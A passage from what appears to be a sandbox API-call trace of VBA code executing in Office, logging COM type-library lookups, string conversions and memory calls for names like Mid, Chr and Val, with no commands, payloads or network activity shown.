pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.410] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.410] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.410] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e70096, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_iMsnnNQUWxLeJonbOcqoB") returned 29 [0071.410] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_iMsnnNQUWxLeJonbOcqoB", lHashVal=0x30d312, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x69005f00720061, ppTypeComp=0x6e006e00000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x69005f00720061, ppTypeComp=0x6e006e00000000, pDummy=0x0) returned 0x0 [0071.410] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63832 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.410] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da884d0) [0071.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da996dc, cbMultiByte=2, lpWideCharStr=0x288617d2c0c, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e6133a, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0071.410] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="Mid", lHashVal=0x30b3dc, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e6133a, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0071.410] ITypeComp:RemoteBind (in: This=0x28857594380, szName="Mid", lHashVal=0x30b3dc, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e6133a, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0071.410] ITypeComp:RemoteBind (in: This=0x2884e335ec0, szName="Mid", lHashVal=0x30b3dc, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.410] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0071.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e6133a, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0071.410] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="Mid", lHashVal=0x30b3dc, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.410] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dad1b40 [0071.413] _mbscpy_s (in: _Dst=0x2885dad1b40, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dad1b40) returned 0x0 [0071.413] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.413] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0xb, _Src="_B_var_Mid" | out: _Dst="_B_var_Mid") returned 0x0 [0071.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=11, lpWideCharStr=0xbcb38f4900, cchWideChar=11 | out: lpWideCharStr="_B_var_Mid") returned 11 [0071.413] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.413] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_Mid", lHashVal=0x3070ed, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=1, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.413] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Mid", cchWideChar=-1, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Mid", lpUsedDefaultChar=0x0) returned 11 [0071.413] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.413] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.413] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e700d6, cbMultiByte=11, lpWideCharStr=0xbcb38f4960, cchWideChar=12 | out: lpWideCharStr="_B_var_Mid") returned 11 [0071.413] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_Mid", lHashVal=0x3070ed, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x0, ppTypeComp=0xbc00000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x2885d629670, pDescKind=0xbcb38f492c*=1, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x0, ppTypeComp=0xbc00000000, pDummy=0x0) returned 0x0 [0071.413] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d629670, ppTypeAttr=0xbcb38f4920, pDummy=0x2885d6e3b00 | out: ppTypeAttr=0xbcb38f4920, pDummy=0x2885d6e3b00*=0x10000) returned 0x0 [0071.414] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d629670) returned 0x0 [0071.414] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884e288df0, cb=0x100) returned 0x2885d6e5b10 [0071.414] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f4780 | out: ppvObject=0xbcb38f4780*=0x2885d629670) returned 0x0 [0071.414] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d629670, memid=1610612742, invkind=1, pFuncIndex=0xbcb38f47c0 | out: pFuncIndex=0xbcb38f47c0*=0x6) returned 0x0 [0071.414] ITypeInfo2:GetFuncCustData (in: This=0x2885d629670, index=0x6, GUID=0x7ff9bdf06f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xbcb38f47d8 | out: pVarVal=0xbcb38f47d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc00000006, varVal2=0x3070ed)) returned 0x0 [0071.414] IUnknown:Release (This=0x2885d629670) returned 0x1 [0071.414] IUnknown:AddRef (This=0x2885d629670) returned 0x2 [0071.414] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d629670) returned 0x0 [0071.414] IUnknown:Release (This=0x2885d629670) returned 0x1 [0071.414] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f49d8 | out: ppvObject=0xbcb38f49d8*=0x0) returned 0x80004002 [0071.414] IUnknown:AddRef (This=0x2885d629670) returned 0x2 [0071.414] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d9663e0, cb=0x400) returned 0x2885d659570 [0071.414] IUnknown:Release (This=0x2885d629670) returned 0x2 [0071.414] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.414] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.414] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dad1b40) [0071.415] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.415] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.415] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.415] IUnknown:Release (This=0x2885d4c6250) returned 0x7 [0071.415] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.415] strcpy_s (in: _Dst=0x2885d8bab78, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0071.415] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.415] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.415] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d9c3f00 [0071.415] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425f50 [0071.415] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425f50) returned 0x26d [0071.415] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425f50) returned 0x26d [0071.415] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425f50) returned 0x26d [0071.415] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425f50) returned 0x26d [0071.415] GetCurrentProcess () returned 0xffffffffffffffff [0071.415] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425f50, dwSize=0x53) returned 1 [0071.415] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425f50) [0071.415] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8babd0 [0071.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e638c6, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Val") returned 4 [0071.415] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="Val", lHashVal=0x30e2dd, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x2885d6296c8, pDescKind=0xbcb38f496c*=1, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.415] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d6296c8, ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc00 | out: ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc00*=0x0) returned 0x0 [0071.415] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d6296c8) returned 0x0 [0071.415] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6e5b10, cb=0x200) returned 0x2885d965780 [0071.415] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f47c0 | out: ppvObject=0xbcb38f47c0*=0x2885d6296c8) returned 0x0 [0071.415] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d6296c8, memid=1610612743, invkind=1, pFuncIndex=0xbcb38f4800 | out: pFuncIndex=0xbcb38f4800*=0x7) returned 0x0 [0071.415] ITypeInfo2:GetFuncCustData (in: This=0x2885d6296c8, index=0x7, GUID=0x7ff9bdf06f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xbcb38f4818 | out: pVarVal=0xbcb38f4818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc00000007, varVal2=0x30e2dd)) returned 0x0 [0071.416] IUnknown:Release (This=0x2885d6296c8) returned 0x1 [0071.416] IUnknown:AddRef (This=0x2885d6296c8) returned 0x2 [0071.416] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d6296c8) returned 0x0 [0071.416] IUnknown:Release (This=0x2885d6296c8) returned 0x1 [0071.416] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a88 | out: ppvObject=0xbcb38f4a88*=0x0) returned 0x80004002 [0071.416] IUnknown:AddRef (This=0x2885d6296c8) returned 0x2 [0071.416] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.416] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.416] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.416] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.416] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.416] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.416] IUnknown:Release (This=0x2885d4c6250) returned 0x9 [0071.416] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.416] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.416] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.416] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.416] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.416] GetCurrentProcess () returned 0xffffffffffffffff [0071.416] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x3b) returned 1 [0071.416] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e638a2, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0071.416] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="Chr", lHashVal=0x307e4b, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e638a2, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0071.416] ITypeComp:RemoteBind (in: This=0x28857594380, szName="Chr", lHashVal=0x307e4b, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e638a2, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0071.417] ITypeComp:RemoteBind (in: This=0x2884e335ec0, szName="Chr", lHashVal=0x307e4b, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.417] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Chr") returned 0x407e4b [0071.417] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x4, _Src="Chr" | out: _Dst="Chr") returned 0x0 [0071.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=4, lpWideCharStr=0xbcb38f4750, cchWideChar=4 | out: lpWideCharStr="Chr") returned 4 [0071.417] IUnknown:AddRef (This=0x2885d4c6250) returned 0xa [0071.417] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="Chr", lHashVal=0x407e4b, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=1, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.417] IUnknown:Release (This=0x2885d4c6250) returned 0x9 [0071.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Chr", cchWideChar=-1, lpMultiByteStr=0xbcb38f4900, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chr", lpUsedDefaultChar=0x0) returned 4 [0071.417] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Chr") returned 0x407e4b [0071.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e638a2, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0071.417] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="Chr", lHashVal=0x307e4b, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.417] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dad8ae0 [0071.417] _mbscpy_s (in: _Dst=0x2885dad8ae0, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dad8ae0) returned 0x0 [0071.417] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.417] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0xb, _Src="_B_var_Chr" | out: _Dst="_B_var_Chr") returned 0x0 [0071.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=11, lpWideCharStr=0xbcb38f4900, cchWideChar=11 | out: lpWideCharStr="_B_var_Chr") returned 11 [0071.417] IUnknown:AddRef (This=0x2885d4c6250) returned 0xa [0071.417] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_Chr", lHashVal=0x303b5c, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=1, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.417] IUnknown:Release (This=0x2885d4c6250) returned 0x9 [0071.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Chr", cchWideChar=-1, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Chr", lpUsedDefaultChar=0x0) returned 11 [0071.417] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.417] IUnknown:AddRef (This=0x2885d4c6250) returned 0xa [0071.417] IUnknown:Release (This=0x2885d4c6250) returned 0x9 [0071.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e70102, cbMultiByte=11, lpWideCharStr=0xbcb38f4960, cchWideChar=12 | out: lpWideCharStr="_B_var_Chr") returned 11 [0071.417] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_Chr", lHashVal=0x303b5c, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x0, ppTypeComp=0xbc00000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x2885d629670, pDescKind=0xbcb38f492c*=1, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x0, ppTypeComp=0xbc00000000, pDummy=0x0) returned 0x0 [0071.417] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d629670, ppTypeAttr=0xbcb38f4920, pDummy=0x2885d65fc00 | out: ppTypeAttr=0xbcb38f4920, pDummy=0x2885d65fc00*=0x0) returned 0x0 [0071.417] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d629670) returned 0x0 [0071.417] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f4780 | out: ppvObject=0xbcb38f4780*=0x2885d629670) returned 0x0 [0071.417] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d629670, memid=1610612738, invkind=1, pFuncIndex=0xbcb38f47c0 | out: pFuncIndex=0xbcb38f47c0*=0x2) returned 0x0 [0071.417] ITypeInfo2:GetFuncCustData (in: This=0x2885d629670, index=0x2, GUID=0x7ff9bdf06f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xbcb38f47d8 | out: pVarVal=0xbcb38f47d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc00000002, varVal2=0x303b5c)) returned 0x0 [0071.418] IUnknown:Release (This=0x2885d629670) returned 0x3 [0071.418] IUnknown:AddRef (This=0x2885d629670) returned 0x4 [0071.418] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d629670) returned 0x0 [0071.418] IUnknown:Release (This=0x2885d629670) returned 0x3 [0071.418] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f49d8 | out: ppvObject=0xbcb38f49d8*=0x0) returned 0x80004002 [0071.418] IUnknown:AddRef (This=0x2885d629670) returned 0x4 [0071.418] IUnknown:Release (This=0x2885d629670) returned 0x3 [0071.418] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, 